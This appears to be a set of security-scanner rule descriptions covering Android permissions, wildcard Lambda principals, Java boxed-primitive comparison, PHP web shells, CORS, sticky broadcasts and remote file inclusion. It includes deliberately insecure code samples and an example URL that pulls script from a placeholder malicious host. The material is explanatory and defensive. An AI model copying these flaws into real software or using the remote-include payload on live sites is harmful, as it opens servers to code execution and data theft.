There is no good reason to request or grant a permission that disables the device.

Example 1: A program must not call this permission. Ever.

 <uses-permission android:name="android.permission.BRICK"/> 

A wildcard configuration for lambda principals violates the least privilege principle and allows an attacker to invoke the lambda from any account.

Example 1: The following example template defines a wildcard lambda principal.

{
    "Resources": {
        "LambdaPerm": {
            "Type": "AWS::Lambda::Permission",
            "Properties": {
            "SourceAccount": "AWS::AccountId",
            "SourceArn": "bucket.Arn",
            "FunctionName": "function.Arn",
            "Action": "lambda:InvokeFunction",
            "Principal": "*"
            }
        }
    },
    "AWSTemplateFormatVersion": "2010-09-09",
    "Description": "Lambda Permission"
}

When dealing with boxed primitives, when comparing equality, the boxed primitive's equals() method should be called instead of the operators == and !=. The Java Specification states about boxing conversions:

"If the value p being boxed is an integer literal of type int between -128 and 127 inclusive, or the boolean literal true or false, or a character literal between '\u0000' and '\u007f' inclusive, then let a and b be the results of any two boxing conversions of p. It is always the case that a == b."

This means that if a boxed primitive is used (other than Boolean or Byte), only a range of values will be cached, or memoized. For a subset of values, using == or != will return the correct value, for all other values outside of this subset, this will return the result of comparing the object addresses.

Example 1: The following example uses equality operators on boxed primitives.

  ...
  Integer mask0 = 100;
  Integer mask1 = 100;
  ...
  if (file0.readWriteAllPerms){
    mask0 = 777;
  }
  if (file1.readWriteAllPerms){
    mask1 = 777;
  }
  ...
  if (mask0 == mask1){
    //assume file0 and file1 have same permissions
    ...
  }
  ...

The code in Example 1 uses Integer boxed primitives to try to compare two int values. If mask0 and mask1 are both equal to 100, then mask0 == mask1 will return true. However, when mask0 and mask1 are both equal to 777, now mask0 == maske1 will return false as these values are not within the range of cached values for these boxed primitives.

Attackers frequently install backdoors in the form of a PHP Shell which is used by attackers to execute commands to the underlying operating system with at least the permissions of the web server. This means that attackers could modify or read any file that the web server is capable of reading. In worst cases, the attacker would be able to further install malware and take over the server machine. Presence of such a program could either indicate a successful compromise of the application or an insider threat.

Cross-Origin Resource Sharing, commonly referred to as CORS, is a technology that allows a domain to define a policy for its resources to be accessed by a web page hosted on a different domain using cross domain XML HTTP Requests (XHR). Historically, the browsers have restricted XHR requests to abide by the same origin policy. This policy sets the script execution scope to the resources available on the current domain and prohibits any communication to domains outside this scope. However, a few HTML tags, such as SCRIPT, IMG, and IFRAME, are exempt from the same origin policy and allow remote content to be loaded from a different domain. These are secure alternatives for the site that loads contents from remote domain and no special permission or cross-domain policy is required from hosting domain.
While CORS is supported on all major browsers, it also requires that the domain correctly defines the CORS policy in order to have its resources shared with another domain. These restrictions are managed by access policies typically communicated in specialized response headers, such as:

- Access-Control-Allow-Origin
- Access-Control-Allow-Headers
- Access-Control-Allow-Methods

However, caution should be taken when defining these headers because an overly permissive policy configured at server level for domain or directory on a domain can open more content for cross domains access than intended. CORS can allow a malicious application to communicate with victim application in an inappropriate way leading to information disclosure, spoofing, data theft, relay or other attacks.
Implementing CORS can increase an application's attack surface and should be used only when necessary.

Sticky broadcasts cannot be secured with a permission and therefore are accessible to any receiver. If these broadcasts contain sensitive data or reach a malicious receiver, the application may be compromised.

Example 1: The following code sends a sticky broadcast.

...
context.sendStickyBroadcast(intent);
...

Remote PHP include attack can allow an attacker to execute their own code on the server with the permissions of the process, in general that would indicate a user of PHP, apache, or nobody. These vulnerabilities occur when an attacker can influence the application to read files from remote systems. This can be used to cause arbitrary PHP code to run on the web server. Allow for a properly crafted URL to execute code. Possibly fetching and incorporating data from arbitrary URLs supplied by an attacker. This can have multiple consequences, ranging from a Cross-Site Scripting vulnerabilities to the execution of arbitrary script code.
Arbitrary command execution allows an attacker access to the server with the permissions of the web server user. This could lead to the installation of a backdoor, privilege escalation, or other malicious code. The attacker can cause the application to fetch and display arbitrary URLs, thus allowing the attacker to feed specific information to the application for processing and display. Many web application platforms (notably PHP) allow the interpretation of PHP script fetched from remote URLs; this could result in the attack running arbitrary script code on the web server simply by causing the web application to fetch a URL that returns script code.
Example: Requesting the URL policy.jsp?privacy=http://www.malicioushost.com/attackdata.js allows an attacker to inject malicious code into the current JSP page from a remote site controlled by the attacker.